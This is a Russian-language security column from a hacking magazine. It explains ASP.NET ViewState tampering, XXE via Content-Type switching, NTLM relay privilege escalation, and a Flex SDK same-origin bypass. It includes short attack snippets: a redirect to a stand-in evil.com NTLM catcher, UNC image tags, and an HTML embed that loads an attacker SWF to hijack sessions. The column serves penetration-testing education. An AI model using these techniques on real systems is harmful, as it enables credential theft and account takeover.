Easy Hack #197. Хакерские секреты простых вещей

Подменяем данные в ViewState в ASP.NET

Так получилось, что в Easy Hack мы ни разу не касались темы веб-приложений Microsoft. Настало время исправиться и вспомнить ряд проблем, типичных для ASP.NET. Хотелось бы еще упомянуть, что обычные уязвимости а-ля OWASP top 10 (SQLi, CSRF, XSS и прочие) свойственны и приложениям на этой платформе, но многие встроенные защитные механизмы работают, даже если веб-разработчик — мастер кривого кода.

Для нас интересна специфичная фишка ASP.NET под названием ViewState. С ней же связаны и некоторые атаки. Технология эта относительно старая и достаточно распространенная. Но для ее правильного понимания необходимы неплохие познания в ASP.NET. Если очень упростить, то можно воспринимать ее как хранилище состояния данных для определенной страницы какого-то пользователя. Простейший пример — postback. Юзер заполняет форму, отправляет ее на сервер (на тот же URL), и сервер ему возвращает ту же страницу с введенными данными. Тогда данные формы и будут храниться во ViewState. В каком-то виде это хранение сессионных данных пользователя на его стороне. Хотя на практике во ViewState часто хранятся и «статические» данные, которые юзер не вводил сам.

ViewState представляет собой строку Base64 от сериализованных данных элементов страницы, положенных в скрытое поле (__VIEWSTATE).

Есть два основных последствия возможности изменения ViewState. Во-первых, это reflected XSS. XSS Auditor не заблочит ее из-за Base64, да и фильтрация данных на серверной стороне для ViewState очень мала. Во-вторых, это различные логические атаки на приложение, когда мы подменяем данные. Например, смена цены на тот или иной товар.

Для того чтобы юзеры не устраивали вакханалию с изменением ViewState, товарищи из Microsoft используют технологию MAC (Message Authentication Code). Суть ее заключается в том, что к сериализованной строке от элементов страницы добавляется некий секретный ключ, а потом значение хешируется. Хеш добавляется к сериализованной строке, кодируется в Base64 и пересылается клиенту. После получения ViewState проводит аналогичную операцию, но теперь уже сверяет хеш, который был, с тем, который получен от клиента.

Как ты понимаешь, это сильно мешает проведению атаки. Не зная секретного ключа, пройти проверку MAC не получится. Однако существует ряд ситуаций, в которых MAC отключен. Во-первых, в старых версиях он может быть отключен по умолчанию. Во-вторых, включить его можно как для всего сайта, так и для конкретных страниц. Во втором случае есть шанс, что разработчик упустил где-то корректную настройку. В-третьих, его иногда отключают из-за некоторых технических ограничений.

Для того чтобы определить, включен ли MAC, надо лишь декодировать Base64 и взглянуть на конец строки. Если есть там бинарщина, значит, MAC включен, если нет, то отключен.

В Burp в разделе Proxy есть вкладка Response и в ней — ViewState. Здесь можно посмотреть информацию в более удобном виде (см. картинку) плюс указано, включен ли MAC.

Примерно так выглядят данные во ViewState

Эксплуатируем XXE через JSON

Наверное, за последние пару-тройку лет XXE стала одной из типовых критических уязвимостей. Идея атаки через XXE появилась в самом начале 2000-х, но лишь в последние несколько лет были придуманы новые техники атаки и постэксплуатации (включая различные техники Server Side Request Forgery). А количество уязвимых к XXE приложений в последнее время растет на глазах.

XXE становятся возможны во многом потому, что парсеры XML по умолчанию разрешают применение Document Type Definition (DTD) перед самим запросом (inline DTD), а в приложениях эту фичу не отключают. Но, видя проблему, вендоры принялись закручивать гайки, и те же библиотеки libxml, на которых основываются парсеры большинства скриптовых языков (PHP, Python, Perl), теперь изначально отключают inline DTD.

С другой стороны, всякое коробочное ПО, где используются старые версии библиотек, я уверен, будут радовать нас еще ближайшие пару-тройку лет.

И здесь хотелось бы поделиться еще одной небольшой, но интересной находкой компании NetSPI, которая позволит нам отыскать еще больше мест для атак через XXE.

Есть такое общее понятие, как веб-сервис (web service). Если очень упростить, то веб-сервис — это технология общения между приложениями. Простейший пример — мобильное приложение. Оно само ответственно за показ информации пользователю (то есть это не сайт с HTML), но данные получает от работающего на сервере веб-сервиса или нескольких.

Хотя веб-сервис можно сделать и «голыми руками», обычно используются различные специализированные фреймворки. Программист подключает и настраивает фреймворк и пишет бизнес-логику приложения. Фреймворк отвечает за управление доступом и за саму передачу данных. Если говорить о последнем, то обычно фреймворки поддерживают множество различных форматов общения, как, например, REST, SOAP, XML или JSON. Зачастую для этого есть различные точки входа (endpoints) для каждого из форматов, они определены в виде различных путей (/webservice/json, /webservice/soap и так далее).

В NetSPI обнаружили, что в некоторых случаях веб-сервисы отталкивались не от пути, а от значения поля Content-Type. То есть если у нас доступен endpoint для общения в формате JSON, мы можем выставить значение Content-Type: application/xml, и этот контент будет обработан сервером как XML, а это значит, мы можем подсунуть XXE. Пример на картинке показывает, как это бывает.

Меняем Content-Type, и теперь сервер парсит наш XML

На самом деле мы можем передавать какие-то данные в XML, необходимо только их корректно сконвертировать. Если в JSON запрос выглядел так:

{"search":"name","value":"netspitest"}

то в XML получится следующее:

<root>
<search>name</search>
<value>netspitest</value>
</root>

В общем, ты теперь можешь проверять веб-сервисы на влияние различных типов контента. Тема атак на них очень богата, и мы продолжим разбирать ее в следующих номерах.

Локально повышаем привилегии под Windows через NTLM-релей

Лично я очень люблю атаки, связанные с NTLM-релеем. Несмотря на то что соответствующим уязвимостям уже лет пятнадцать, они сидят настолько глубоко в технологиях Microsoft, что новые и новые варианты атак все продолжают появляться, несмотря на заплатки. Эксплуатации этих уязвимостей немало способствует и небезопасная настройка ОС по умолчанию.

Коротко об основах. Windows поддерживает протокол NTLM, который представляет собой стандартный challenge-response:

  1. Клиент отправляет запрос на аутентификацию.
  2. Сервер возвращает некое случайное значение (challenge).
  3. Клиент хеширует challenge со своим паролем (на самом деле с NT-хешем пароля, но это неважно) и отправляет его на сервер.
  4. Сервер выполняет аналогичную операцию у себя и сравнивает хеши. Если они одинаковы, то аутентифицирует клиента.

Достоинство этого протокола в том, что пароль пользователя не передается в открытом виде. Недостаток – возможность relay атак. Если мы заставим жертву аутентифицироваться у нас на хосте, а данные передадим на сервер, то сервер аутентифицирует подключение от имени жертвы.

Кстати, есть еще версия протокола NTLMv2, которая, несмотря на усложнение, не защищает от этой атаки. Также следует помнить, что NTLM — это протокол аутентификации, и его можно использовать по HTTP, Telnet, POP3, FTP, SMB и так далее.

Ну и последнее — автоматическая аутентификация в Windows. Есть ряд сервисов, на которых операционка автоматически пытается аутентифицироваться. Два основных примера — это SMB и HTTP. Если мы заставим винду обратиться по UNC-пути (например, \\evil\test), то она попытается подключиться на 445-й порт (SMB) и аутентифицироваться под пользовательским аккаунтом, давая нам возможности релейнуть его креды с evil на другой сервер.

Когда-то был и другой вариант атаки SMB Relay. Можно было заставить жертву подключиться к нам, а потом релейнуть ее обратно на тот же хост. И если у пользователя, который подключился к нам, были высокие права, то мы получали RCE. Но эта уязвимость была утеряна с патчем MS08-68.

Зато с тех пор появилось кое-что новое и местами слегка мистическое. Этой весной Гугл опубликовал информацию о возможности локального повышения привилегий за счет использования NTLM-релея.

Практически атака выглядит следующим образом.

  1. Мы локально поднимаем сервер WebDAV (это шейринг файлов по HTTP) с запросом аутентификации по NTLM. Нужно выбрать порт с номером больше 1024, так как на это не требуется привилегий больше, чем есть у обычного юзера.
  2. Заставляем любой привилегированный процесс (лучше всего NT AUTHORITY\SYSTEM) зайти на наш WebDAV (\\127.0.0.1:8080\test.txt).
  3. Так как есть запрос на аутентификацию, привилегированный процесс автоматически пытается залогиниться под собой.
  4. Данные от процесса мы релеим на нашу шару.
  5. Та-дам! У нас есть привилегированный доступ на нашу же шару. Включая доступ ко всем дискам на запись и $IPC (возможность выполнять команды в ОС).

WebDAV нам понадобился потому, что мы не можем поднять локально еще один сервер SMB. WebDAV же используется виндой, когда ты указываешь порт в UNC-пути (\\127.0.0.1:8080\test.txt). По умолчанию сервис WebDAV в Windows отключен, но на домашних версиях ОС (Windows 7, 8 и 8.1) автоматически включается, как только обращаешься к ресурсу WebDAV. На серверных версиях он автоматически не включается, по крайней мере так было в моих недавних тестах.

Встроенный в Windows клиент WebDAV

По указанной выше ссылке с описанием уязвимости в качестве примера привилегированного процесса приводится встроенный антивирь Windows Defender. Он как раз запускается под учеткой SYSTEM. В Windows, начиная с восьмой версии, у обычного пользователя есть возможность напрямую указать путь до файла, который он хочет проверить антивирусом.

В отчете предложен и proof of concept, который отлично работает. В качестве подтверждения на диск C записывается файлик dummy, что можно сделать только с высокими привилегиями.

Еще несколько плюсов: файрвол нам помешать не может потому, что он не работает на локальном интерфейсе, где мы поднимаем порт. А UAC нам не мешает потому, что учетка, создающая файл, высокопривилегированная.

Таким образом, мы имеем практически универсальный способ поднять права в Windows. Шикарно!

Но хотелось бы еще подискутировать на тему причин и странных моментов, связанных с данной атакой. Во-первых, у нас тут происходит кросс-протокольная атака — с WebDAV на SMB. И, по мнению автора, именно поэтому атака и возможна. Утверждается, что патч MS08-68 прикрывает атаку только в рамках одного протокола. Но и давние, и недавние опыты показали, что аутентификация не проходит, если, например, мы заставляем жертву зайти на наш хост по HTTP, а сами релеим обратно на хост жертвы по SMB.


Во-вторых, атакам NTLM Relay на сервисы серьезно мешает то, что учетная запись SYSTEM и аналогичные системные учетки не имеют пароля, а потому релеить их мы не можем. Однако когда мы действуем в рамках одного хоста, логика работы автоматической аутентификации, похоже, другая.

В Microsoft, кажется, не собираются патчить этот баг из-за его глубинности. Исправить можно с помощью безопасной настройки SMB, чего практически никто не делает. В итоге атака действительно мощная, и я думаю, ее потенциал еще не раскрыт до конца.

Поднимаем WebDAV и релеим на локальную шару — получаем файл, созданный под SYSTEM

Делаем редирект HTTP на SMB

Вот еще одна вариация на тему NTLM-релеев (или снифинга хеша NTLM). Несмотря на то что по этой теме был целый white paper, потенциальные возможности этой идеи не очень-то широки.

Раньше было два типовых метода атак на пользователей для NTLM-релея или снифинга NTLM-хеша. Точнее, даже не атак, а методов заставить инициировать подключение к хосту атакующего, при которых произошла бы автоматическая аутентификация. Первый — это UNC-путь и последующий доступ по SMB, второй — по HTTP. Но второй по умолчанию работает, только если хост атакующего находится в зоне Intranet. Если сильно упростить, то к этой зоне относятся все хосты, к которым хост жертвы может обратиться по короткому имени, то есть без точек в имени домена. Например, http://evil/ — хост Intranet, а http://evil.com/ уже хост зоны Internet. В первом случае если жертва зайдет на хост, а веб-сервер затребует NTLM-аутентификацию, то браузер ее выполнит автоматически (а мы, в свою очередь, сможем провести атаку). Во втором случае если веб-сервер затребует NTLM-аутентификацию, то браузер ее не выполнит автоматически, а отобразит жертве соответствующее окошко. При этом доступ по IP-адресу тоже относится к зоне Internet (исключение — локальный адрес).

Оба этих метода работают при атаке на пользователя через браузер. Создаем страничку с рисунком (<img src="http://evil/test.jpg"> или <img src="\\evil\test.jpg">), и оба варианта должны сработать отлично — во всяком случае, в IE.

Сложнее с атакой на какой-то сервис, который делает запросы через HTTP. Предположим, мы можем провести атаку man-in-the-middle и полностью менять трафик. Мы в состоянии поменять ответ на запрос сервера. Но мы не можем изменить адрес, по которому происходит подключение.

Для ясности приведу пример. Есть антивирус, который ходит за обновлениями на воображаемый сайт antivir.ru. Мы можем поменять ответ от antivir.ru и затребовать NTLM-аутентификацию, но сервис не будет ее проводить, так как сервер находится в зоне Internet. А заставить подключиться к нам на http://evil/ мы не можем.

В этом случае нам и поможет находка из вайтпейпера. Оказывается, дефолтный виндовый клиент позволяет делать редиректы на ресурсы SMB. То есть у нас есть запрос HTTP от сервиса, а мы его можем редиректнуть на шару и там уже выполнить атаку на NTLM.

Пример ответа для редиректа:

HTTP/1.1 302 Found
Content-Type: text/html
Location: file://evil.com/ntlm_catcher

При этом потенциально уязвимы все приложения, которые делают запросы и используют для этого виндовый API, а их очень много.

С другой стороны, это совсем не баг, а, скорее, фича клиента, которую можно эксплуатировать. И, как ты, наверное, догадываешься, патчить это MS не собирается. Мы же просто положим эту информацию в свою коробочку знаний.

Обходим SOP через уязвимую SWF от Flex SDK

В прошлом номере мы коснулись некоторых тонкостей работы Flash и crossdomain.xml, а также рассказали о том, как мисконфигурация последнего позволяет обходить ограничения браузерного SOP (Same-origin policy). Судьба преподнесла еще одну тему про SOP и Flash. Речь идет о докладе с Troopers 2015 авторства Minded Security и NibbleSec.

Когда я смотрел презентации с Troopers, то сначала не придал особого значения этой работе. Нашли что-то интересное в SOP для Flash? Молодцы, но Adobe запатчит это в ближайшей же версии плеера, а значит, мне как пентестеру прока от этого будет не много. Понимание того, что не все так просто, пришло из третьих рук.

Итак, мы знаем, что если файл Flash с одного домена пытается сделать запрос на другой домен, то плеер сначала просматривает файл crossdomain.xml со второго домена на предмет разрешения этого действия. Нет домена в списке — нет разрешения. Но на самом деле есть еще ряд дополнительных возможностей.

Существует продукт под названием Flex SDK, он используется как основа для разработки различных приложений на Flash. С версии 3.1 в нем появилась новая возможность — делать динамическую загрузку дополнительных ресурсов (локализаций). В том числе и со сторонних сайтов. Причем путь до самих ресурсов может быть указан через flashvars (переменные, задаваемые при подгрузке флеш-файла в браузере) в переменной resourceModuleURLs. И все бы ничего, не подгружайся эти ресурсы в контексте того же сайта, что и сам ролик. Это самый важный факт. Обычно, когда флеш-файлы подгружают друг друга, то все равно могут работать лишь в рамках своих сайтов.

Интереснее всего то, что это баг не во Flash, а именно во Flex SDK и, следовательно, в сделанных при помощи SDK флеш-файлах. Чтобы их исправить, необходимо перекомпилировать их с новой версией Flex SDK, которая не подвержена уязвимости.

Ситуация, как видишь, совсем не типичная, но, к радости пользователей Flex SDK, его запатчили еще четыре года назад, в версии 4.5.1. Теперь же баг, по сути, был открыт заново, когда исследователи рассказали о его технических подробностях. Чтобы уверить народ, что проблема не потеряла актуальности, они нашли уязвимые флеш-файлы на сайтах многих топовых компаний, включая Google. Основная фишка в том, что локализации автоматически добавляются в ролики, скомпилированные при помощи Flex SDK.

Технически атака выглядит следующим образом. Предположим, у нас есть жертва — сайт victim.com, где размещен флеш-файл (badflex.swf), который сделан в уязвимой версии Flex SDK. И есть наш хост — evil.com с нашим флеш-файлом (sender.swf), который умеет отправлять и читать ответы от сервера victim.com, а также файл crossdomain.xml с разрешением на доступ на наш хост с victim.com.

  1. Создаем страничку на evil.com, которая будет подгружать флеш-файл с victim.com. Указываем наш флеш-файл в resourceModuleURLs. Содержимое странички должно быть следующим:
     <object width="100%" height="100%"
      type="application/x-shockwave-flash"
      data="https://victim.com/badflex.swf ">
      <param name="allowscriptaccess" value="always">
      <param name="flashvars" value="resourceModuleURLs=http://evil.com/sender.swf ">
     </object>
  2. Заманиваем на эту страницу человека, сессию которого на victim.com мы хотим захватить.
  3. Браузер этого человека парсит страницу, видит, что там есть ролик с victim.com, и запускает его с помощью плагина Flash, передавая ему путь до локализации — http://evil.com/sender.swf.
  4. Flash выполняет код из файла и видит, что нужно подгрузить файл sender.swf, а так как он находится на другом (по отношению к victim.com) сайте evil.com, то запрашивает с него сначала файл crossdomain.xml.
  5. Так как в crossdomain.xml мы разрешили доступ с victim.com, то плеер загрузит наш sender.swf.
  6. Нашему sender.swf «назначается» сайт — victim.com.
  7. Теперь наш файл sender.swf имеет возможность посылать запросы на victim.com и читать ответы. SOP нас не ограничивает, так как sender.swf относится уже к домену victim.com.

Вот так мы можем захватить сессию пользователя, выполнить какие-то команды от его лица, и защита типа токенов CSRF нам тут не помеха.

Главной задачей, таким образом, становится поиск уязвимых файлов swf. Для ее решения по той же ссылке ты найдешь тулзу ParrotNG, которая может проверить конкретный файл на уязвимость, а также плагин для Burp, который пассивно чекает все SWF.

Общая последовательность эксплойта. Секретное значение — украдено
Алексей GreenDog Тюрин: Security Researcher
Похожие материалы